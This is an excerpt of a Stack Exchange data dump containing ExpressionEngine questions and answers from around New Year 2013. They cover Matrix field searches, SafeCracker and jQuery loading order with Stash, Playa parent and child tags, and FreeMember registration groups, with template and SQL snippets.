  <row Id="2180" PostTypeId="2" ParentId="1980" CreationDate="2012-12-30T20:58:20.453" Score="3" Body="&lt;p&gt;In your screenshot, “Obstetrics” is actually the &lt;em&gt;child&lt;/em&gt;, not the parent, yet in your template code, you’re trying to pull in the children of Obstetrics. That {exp:playa:children} tag pair would only pull in entries if Obstetrics had its own Playa fields with their own related entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see all of the entries that are relating the Obstetrics entry via their own Playa fields, you need to use {exp:playa:parents}, not {exp:playa:children}.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2012-12-30T20:58:20.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2181" PostTypeId="1" AcceptedAnswerId="2188" CreationDate="2012-12-31T01:10:42.967" Score="3" ViewCount="374" Body="&lt;p&gt;Say I have a Matrix that has the following fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Name&lt;/li&gt;&#xA;&lt;li&gt;Age&lt;/li&gt;&#xA;&lt;li&gt;Gender&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How would I find Channel entries like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the Channel entry's Age is between 20 and 25&lt;/li&gt;&#xA;&lt;li&gt;the Channel entry's Age is between 20 and 25 and Gender is &quot;Male&quot;&lt;/li&gt;&#xA;&lt;li&gt;the Channel entry has 1 Matrix entry only&lt;/li&gt;&#xA;&lt;li&gt;the Channel entry has 2 Matrix entries&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-31T12:18:21.607" Title="How to search Matrix?" Tags="|channel-entries|matrix|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2182" PostTypeId="1" AcceptedAnswerId="2186" CreationDate="2012-12-31T03:46:29.340" Score="1" ViewCount="273" Body="&lt;p&gt;I can't seem to find the way to add new columns for Matrix fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l4Aoq.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Expression 2.5.5 and Matrix 2.5.1&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2012-12-31T06:32:28.037" Title="How to add new columns in Matrix?" Tags="|matrix|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2183" PostTypeId="1" CreationDate="2012-12-31T05:56:54.590" Score="2" ViewCount="101" Body="&lt;p&gt;I am working on my first EE site and also my first site in general so I am a bit new to this. However, things have been going fairly well but I need some assistance on this topic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am creating a tutorial site so I plan on having recent content quite frequently. I have categories set up so users can go to certain topic pages and also my most recent video is large for viewers to see. However, since the splash page is a little bit of a summary page, I want users to click into a page to view the content. Here is a link to what I am referring to &lt;a href=&quot;http://greyscalegorilla.com/blog/&quot; rel=&quot;nofollow&quot;&gt;http://greyscalegorilla.com/blog/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see his splash page showcases all of his tutorials, and when you click on the title you go into a standalone page for just that content. I don't know what terms I would type into search engines to even start looking for how to solve this. I saw the Pages module in EE and I am not sure is that something I need to use? Just looking for a little bit of assistance so I can start looking for how to create that effect. Any help is greatly appreciated! Thanks everyone!&lt;/p&gt;&#xA;" OwnerUserId="626" LastActivityDate="2012-12-31T06:22:02.040" Title="How to have an entry open into a standalone page" Tags="|ee2|entry|pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2184" PostTypeId="2" ParentId="2183" CreationDate="2012-12-31T06:22:02.040" Score="2" Body="&lt;p&gt;You don't need the Pages module for this, what you want is just a standard entry or post page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read, '&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2086/how-to-display-channel-entry-page/2087#2087&quot;&gt;How To Display a Channel Entry&lt;/a&gt;'- here on StackExchange, it deals with the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the basics are, you want your blog links, to link to the display/post template. So from your blog view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;10&quot; sort=&quot;entry_date&quot; order=&quot;desc&quot;}&#xA;&#xA;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;{blog}&#xA;&amp;lt;hr /&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#comment-url-title-auto-path&quot; rel=&quot;nofollow noreferrer&quot;&gt;{comment_url_title_auto_path}&lt;/a&gt;&lt;/strong&gt; will provide the correct linking url, if you've set-up the channel details properly. If you haven't or want to just custom build the link, then use…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;10&quot; sort=&quot;entry_date&quot; order=&quot;desc&quot;}&#xA;&#xA;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;http://mydomain.org/blog/entry/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;{summary}&#xA;&amp;lt;hr /&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;entry&lt;/code&gt; is a reference to a template in the template_group, blog. The name can be whatever you like: entry, details, article, post, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the basic link is established, you then need to set-up the individual post display template. I'm going to keep calling it &lt;code&gt;entry&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;1&quot;}&#xA;&#xA;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;{blog}&#xA;&amp;lt;hr /&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that's basically it. Obviously you need to style and format the page. If you aren't using a &lt;code&gt;{summary}&lt;/code&gt; field, you probably want to limit the number of words or characters displayed on the list view/splash page. But the basic display of a full post is fairly easy, making sure you point to the right template is probably the confusing part for most newbies.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2012-12-31T06:22:02.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2185" PostTypeId="2" ParentId="2182" CreationDate="2012-12-31T06:23:37.770" Score="1" Body="&lt;p&gt;Just found out that it has something to do with the installation. I uninstalled everything, reinstalled it and I now see the + and - buttons&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2012-12-31T06:23:37.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2186" PostTypeId="2" ParentId="2182" CreationDate="2012-12-31T06:32:28.037" Score="2" Body="&lt;p&gt;This is almost certainly caused by the Matrix theme JS not loading/running, either due to a missing file or a JS error preventing execution.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Double check that you've uploaded &lt;code&gt;themes/third_party/matrix&lt;/code&gt; from the matrix download  to &lt;code&gt;themes/third_party/&lt;/code&gt; (If the third_party folder doesn’t exist yet, create it.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If that doesn't work, check that there are no JS errors on the field config page, if there are, update your question with them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-12-31T06:32:28.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2187" PostTypeId="1" AcceptedAnswerId="2191" CreationDate="2012-12-31T09:47:25.693" Score="4" ViewCount="85" Body="&lt;p&gt;I am using an extension that uses the hook &quot;safecracker_submit_entry_start&quot; and &quot;safecracker_submit_entry_end&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function that handles the callback has a safecracker object argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if there was any documentation about what that object does. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to do some things with the safecracker form data and I was wondering if this object has the methods/variables to do it.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2012-12-31T14:12:22.353" Title="Is there documentation on the Safecracker object argument on the safecracker_submit_entry_start/_end callback function?" Tags="|safecracker|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2188" PostTypeId="2" ParentId="2181" CreationDate="2012-12-31T12:18:21.607" Score="3" Body="&lt;p&gt;I take it you want this to be optimised and not use a whole bunch of conditions inside channel entries loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case, MySQL queries are your best bet here, IMHO. I would take the plugin route and create a plugin returning an array of entry_id and accepting the various parameters you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you could create a plugin returning the entry_id of the entries having a matrix field with more than x entries. Such a plugin would be based on the following type of query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT `entry_id` FROM `exp_matrix_data` WHERE `field_id` = 48 GROUP BY `entry_id` HAVING COUNT(`entry_id`) &amp;gt; 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You plugin tag would could easily pass it a parameter called nbr_matrix_rows with a value of x.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-12-31T12:18:21.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2190" PostTypeId="1" AcceptedAnswerId="2339" CreationDate="2012-12-31T13:30:09.900" Score="2" ViewCount="225" Body="&lt;p&gt;I'm currently in the midst of a Store development for a wholesale site that cannot use automated shipping due to the nature of the product (jewels / gem stones). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client has to manually work out the shipping cost after the purchase order has been placed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to edit the order / add shipping after the end user has placed their order? This is so that the shipping / insurance costs can be manually calculated and then added to the invoice retrospectively. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no payment gateway on this site - it's 30 day invoicing to payment gateway is set to manual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jamie&lt;/p&gt;&#xA;" OwnerUserId="39" LastActivityDate="2013-01-05T04:46:27.870" Title="Exp:resso Store - Add Shipping Cost after checkout" Tags="|expresso-store|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2191" PostTypeId="2" ParentId="2187" CreationDate="2012-12-31T14:12:22.353" Score="2" Body="&lt;p&gt;There is no documentation that I am aware of. I usually open the &lt;code&gt;safecracker/libraries/Safecracker_lib.php&lt;/code&gt; and reference the class itself. The object can be seen pretty plainly this way so you know all the available methods and properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can almost bet that there is a way to do what you want. You can use the hooks in Safecracker to do just about anything. You can even take a look at my Safecracker Registration extension to see how I manipulated the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any more questions, just open another thread about the specific task you are trying to accomplish.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-31T14:12:22.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2192" PostTypeId="2" ParentId="2142" CreationDate="2012-12-31T21:23:08.723" Score="3" Body="&lt;p&gt;FreeMember 2.1.1 (released today) implements this feature. You can specify the group ID in the register tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:register group_id=&quot;5&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also whitelist group IDs in the register tag parameter, then submit the group_id as a form parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:register group_id=&quot;5|6&quot;}&#xA;&#xA;    &amp;lt;select name=&quot;group_id&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;5&quot;&amp;gt;Author&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;6&quot;&amp;gt;Editor&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;&#xA;{/exp:freemember:register}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-31T21:23:08.723" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2193" PostTypeId="2" ParentId="2167" CreationDate="2012-12-31T22:12:31.497" Score="2" Body="&lt;p&gt;There are no built in tags to do what you want, but you should be able to achieve this using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/index.html&quot; rel=&quot;nofollow&quot;&gt;EE query module&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like you have a good handle on the database schema, so I will leave writing the specific SQL query up to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have some results from the query tag, you can easily loop through these and output multiple product tag forms (add to cart forms), and create a button for each SKU.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-31T22:12:31.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2194" PostTypeId="1" AcceptedAnswerId="2290" CreationDate="2013-01-01T01:38:14.070" Score="1" ViewCount="188" Body="&lt;p&gt;I'm trying to use &lt;a href=&quot;https://objectivehtml.com/authenticate&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/authenticate&lt;/a&gt; and have come across some problems:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Logon Form:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can I trigger a global error so I can verify &lt;code&gt;{global_errors}&lt;/code&gt; work? See: &lt;a href=&quot;https://objectivehtml.com/authenticate/documentation/tag/global-form-variables&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/authenticate/documentation/tag/global-form-variables&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;How do I access a specific field error? &lt;code&gt;{field_errors}&lt;/code&gt; does display the first error encountered in the form, but I can't seem to access a specific field error. I've tried &lt;code&gt;{error:email}&lt;/code&gt; doesn't work for me.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Forgot Password:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I specify the form's class and return URL? See: &lt;a href=&quot;https://objectivehtml.com/authenticate/documentation/tag/forgot-password&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/authenticate/documentation/tag/forgot-password&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Both Forms:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I persist the form inputs when there is an error and the page is displayed again? I want the email and password to be persisted on form errors.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-01-04T00:00:38.963" Title="ObjectiveHTML's Authenticate - login and forgot password problems" Tags="|add-on|authenticate|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2195" PostTypeId="1" AcceptedAnswerId="2198" CreationDate="2013-01-01T05:34:26.877" Score="5" ViewCount="718" Body="&lt;p&gt;I'm trying to use SafeCracker with a Matrix field. My jQuery is being included at the bottom of my page, right before the closing &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt;. My SafeCracker tag is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;foo&quot; datepicker=&quot;no&quot; error_handling=&quot;inline&quot; include_jquery=&quot;no&quot; preserve_checkboxes=&quot;yes&quot; return=&quot;foo-manager/&quot; safecracker_head=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;include_jquery&lt;/code&gt; is set to &quot;no&quot; because it will be included at the bottom of the page&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;date_picker&lt;/code&gt; is set to &quot;no&quot; because I don't need it for my form&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;safecracker_head&lt;/code&gt; is set to &quot;no&quot; because I do not want JS being included right after the form declaration; any JS the page needs should be after the jQuery include right before the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In order for the JS associated with SafeCracker to work, jQuery must have been already defined. So I get a lot of errors with my current configuration. However, if I put my jQuery in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, those errors go away. How can I make this work such that I can still keep jQuery at the end of my page?&lt;/li&gt;&#xA;&lt;li&gt;When &lt;code&gt;safecracker_head=&quot;no&quot;&lt;/code&gt;, the Matrix table doesn't work. It doesn't even look like the default Matrix UI. So I am forced to set it to &lt;code&gt;safecracker_head=&quot;yes&quot;&lt;/code&gt; (or just remove the parameter). Then the Matrix table looks normal again. However, the parameter adds JS right after the form (and not right before &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt;). How can I control where the JS is included?&lt;/li&gt;&#xA;&lt;li&gt;Finally, even when I put jQuery in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; and have &lt;code&gt;safecracker_head=&quot;yes&quot;&lt;/code&gt;, I get &lt;code&gt;Uncaught TypeError: Object [object Object] has no method 'markItUp'&lt;/code&gt; error. Any ideas why?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-01-01T16:39:35.350" Title="SafeCracker + Matrix, jQuery declaration, and Object has no method 'markItUp'" Tags="|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2196" PostTypeId="1" AcceptedAnswerId="2197" CreationDate="2013-01-01T11:51:49.167" Score="1" ViewCount="521" Body="&lt;p&gt;I need to create a Channel wherein it will have a series of drop down fields. When a user selects a value in the first drop down, the next drop down goes from a disabled state to an enabled state and its options are filtered based on the first drop down's selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good example would be for the first drop down to be a list of states. When a state is selected, then the next drop down might have a list of counties. And when a county is selected, then the next drop down might have a list of cities. My data is not geographic like this example, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think EE supports this natively, but I'm wondering if there is an add-on that might do this for me? If so, what would be a good approach to solving this?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-06-25T07:38:39.560" Title="Channel Entry - series of &quot;connected&quot; drop down fields?" Tags="|add-on|channel-entries|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2197" PostTypeId="2" ParentId="2196" CreationDate="2013-01-01T15:26:30.027" Score="3" Body="&lt;p&gt;This is a mostly a javascript issue, not really an ExpressionEngine issue. You can make fields dependent on one another using the &lt;a href=&quot;https://github.com/sjcallan/expressionengine-query_field&quot; rel=&quot;nofollow noreferrer&quot;&gt;Query Field&lt;/a&gt; field_type, I pointed you to before. But the key to this type of interaction is javascript. Using &lt;a href=&quot;http://en.wikipedia.org/wiki/Ajax_%28programming%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Asynchronous JavaScript (AJAX)&lt;/a&gt; for the client-side interaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, when you select one option, you need the javascript to look-up the next options. The javascript can limit either the local XML data you've provided or send a query and response to a database, while remaining on the same page. This is mostly the same response as your prior question on &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2163/treeview-field-type/&quot;&gt;TreeViews&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mention jQuery's &lt;a href=&quot;http://isotope.metafizzy.co&quot; rel=&quot;nofollow noreferrer&quot;&gt;Isotope&lt;/a&gt; as a potential filtering system, but its more for visual filtering than one drop down menu to the next. You're looking for something more like this example at &lt;a href=&quot;http://jsfiddle.net/Chran/1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSFiddle&lt;/a&gt;. It includes both examples of the HTML markup and the sample javascript. You may also want to look at the &lt;a href=&quot;http://harvesthq.github.com/chosen/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Chosen&lt;/a&gt; jQuery plugin or it's fork, &lt;a href=&quot;http://ivaynberg.github.com/select2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Select2&lt;/a&gt;. These both focus on how to display and make the data more accessible, you'd still need something like the JSFiddle example to jump from field to field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend taking a look at &lt;a href=&quot;http://luis-almeida.github.com/filtrify/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Filtrify&lt;/a&gt;, the &lt;a href=&quot;http://luis-almeida.github.com/filtrify/music.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Single Category Select&lt;/a&gt; is possibly close to what I imagine you need, but you can play with all the other demos as well, to see what might work best for you. The Single Category Select example basically allows you to start with a large category and limit it to smaller categories. There example uses music instead of countries, and does it with a single dropdown menu, which may be a nicer user interface. They even have an option that uses &lt;a href=&quot;http://luis-almeida.github.com/filtrify/isotope.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Isotope&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Javascript is the key to all these interactions. &lt;a href=&quot;http://jquery.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;jQuery&lt;/a&gt; is just one javascript framework/library that you can use. There's also &lt;a href=&quot;http://prototypejs.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Prototype&lt;/a&gt; and &lt;a href=&quot;http://script.aculo.us&quot; rel=&quot;nofollow noreferrer&quot;&gt;Script.aculo.us&lt;/a&gt;; but jQuery is probably the most popular. The downside to that is you can spend a lot of time looking for a plugin or example that works for you or you can learn to modify it yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said before, this is really more about your data and thinking of the easiest way to present it to the user. If you absolutely need data in one field to be a subset of data based on a selection from another field, then start with the &lt;a href=&quot;https://github.com/sjcallan/expressionengine-query_field&quot; rel=&quot;nofollow noreferrer&quot;&gt;Query Field&lt;/a&gt; field_type. If you just have a long list of data in a database, excel, xml, etc., that you are trying to improve user interaction with, then take a look at all the options. The &lt;a href=&quot;http://jsfiddle.net/Chran/1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSFiddle&lt;/a&gt; option will give you a starting point for multiple pulldown menus based on user selection, but something like the &lt;a href=&quot;http://luis-almeida.github.com/filtrify/music.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Single Category Select&lt;/a&gt; by Filtrify may present a far better option for the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Was just at Devot-ee and noticed that someone had created an EE plugin for &lt;a href=&quot;http://devot-ee.com/add-ons/chosen-selects&quot; rel=&quot;nofollow noreferrer&quot;&gt;Chosen&lt;/a&gt;. I haven't tried it yet, but it may work for you, and resolve having to get up to speed on Javascript.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-01-01T21:04:10.120" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2198" PostTypeId="2" ParentId="2195" CreationDate="2013-01-01T16:39:35.350" Score="6" Body="&lt;p&gt;1) This is a known limitation to Safecracker. Since it injects all the JS in the body of the document, right below the form, you must ensure your jQuery library is loaded before your SC JS gets executed. There is a variable to help with this called the &lt;code&gt;safecracker_head&lt;/code&gt; variables. I use Stash to solve the problem by manipulating the parse order and forcing the JS to be injected at the bottom of the document. &lt;a href=&quot;https://github.com/croxton/Stash&quot;&gt;https://github.com/croxton/Stash&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Stash is an advanced utility. You may run into more questions than answers at first when using it, but it's seriously the best EE template add-on.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;form.html&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot;}&#xA;&#xA;    {stash:page_title}Your Page Title{/stash:page_title}&#xA;    {stash:page_content}&#xA;&#xA;        {exp:safecracker&#xA;            channel=&quot;your-channel&quot;&#xA;            safecracker_head=&quot;no&quot;&#xA;            include_jquery=&quot;no&quot;&#xA;        }&#xA;&#xA;            [YOUR FORM HERE]&#xA;&#xA;            {stash:safecracker_head}&#xA;                {safecracker_head}&#xA;            {/stash:safecracker_head}       &#xA;&#xA;        {/exp:safecracker}  &#xA;&#xA;    {/stash:page_content}&#xA;&#xA;{/exp:stash:set}&#xA;&#xA;{!-- Include your site header which is a template object (or template partial) --}&#xA;&#xA;{stash:embed:structure:header}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;structure/header.html&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;title&amp;gt;{exp:stash:get name=&quot;page_title&quot;}&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;    {exp:stash:get name=&quot;page_content&quot;}&#xA;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;    {exp:stash:get name=&quot;safecracker_head&quot;}&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For more information on Stash, there are loads of other good posts here on StackExchange so check those out.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If you use &lt;code&gt;safecracker_head=&quot;no&quot;&lt;/code&gt;, you must include the contents it generates or the &lt;code&gt;{safecracker_head}&lt;/code&gt; somewhere in your document. Without it, all fieldtypes relying on JS (and CSS) will fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Probably due to the order the JS is being loaded. I have seen this error too and have always fixed it using the solution I outlined above. A good debugging technique I have used it to do a &quot;view source&quot; and copy the generated markup on the page. Then override (or create a new one) the template with the generated contents. Then begin a process of elimination and reshuffling the code. If you can manipulate the static page to get it to work, then all you have to do is simply restructure your EE template to match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a pretty tedious process sometimes, especially when different add-ons require different versions of jQuery than what you may include in the document. I know jQuery UI causes trouble for me at times and is a constant process of updating and tweaking the integration with new releases.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-01-01T16:39:35.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2199" PostTypeId="1" AcceptedAnswerId="2203" CreationDate="2013-01-02T06:31:49.720" Score="1" ViewCount="324" Body="&lt;p&gt;I have a field name with a long &quot;Field Label&quot; name and I want the &quot;Short Name&quot; to be consistent also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I notice that ExpressionEngine truncates the &quot;Short Name&quot; to a certain length. So it seems that there is a limit to the number of characters one can put in &quot;Short Name&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way around this?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-01-02T09:22:26.620" Title="Channel Short Name Fields Length Limitation" Tags="|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
